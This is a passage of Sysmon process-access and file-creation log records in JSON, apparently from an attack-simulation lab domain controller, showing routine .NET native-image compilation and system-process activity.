AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.729\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4352-5F2D-0000-0010005D1100}\r\nTargetProcessId: 3396\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.729","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4352-5F2D-0000-0010005D1100}","TargetProcessId":"3396","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8488,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:41.854\r\nProcessGuid: {90617006-4359-5F2D-0000-00104BAA1100}\r\nProcessId: 3764\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\eb4-0\\System.Runtime.WindowsRuntime.dll\r\nCreationUtcTime: 2020-08-07 12:04:41.854","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:41.854","ProcessGuid":"{90617006-4359-5F2D-0000-00104BAA1100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\eb4-0\\System.Runtime.WindowsRuntime.dll","CreationUtcTime":"2020-08-07 12:04:41.854","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8489,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.917\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4359-5F2D-0000-00106BB01100}\r\nTargetProcessId: 4172\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.917","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4359-5F2D-0000-00106BB01100}","TargetProcessId":"4172","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8490,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.917\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4359-5F2D-0000-00106BB01100}\r\nTargetProcessId: 4172\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.917","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4359-5F2D-0000-00106BB01100}","TargetProcessId":"4172","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8491,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.948\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4359-5F2D-0000-00106BB01100}\r\nTargetProcessId: 4172\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.948","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4359-5F2D-0000-00106BB01100}","TargetProcessId":"4172","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8492,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.994\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4359-5F2D-0000-0010CBB31100}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.994","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4359-5F2D-0000-0010CBB31100}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8493,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.994\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4359-5F2D-0000-0010CBB31100}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.994","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4359-5F2D-0000-0010CBB31100}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8494,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4359-5F2D-0000-0010CBB31100}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4359-5F2D-0000-0010CBB31100}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8495,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:42.072\r\nProcessGuid: {90617006-4359-5F2D-0000-0010CBB31100}\r\nProcessId: 4184\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\1058-0\\System.Runtime.WindowsRuntime.UI.Xaml.dll\r\nCreationUtcTime: 2020-08-07 12:04:42.072","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:42.072","ProcessGuid":"{90617006-4359-5F2D-0000-0010CBB31100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\1058-0\\System.Runtime.WindowsRuntime.UI.Xaml.dll","CreationUtcTime":"2020-08-07 12:04:42.072","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8496,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:42.104\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-435A-5F2D-0000-00107FB71100}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: 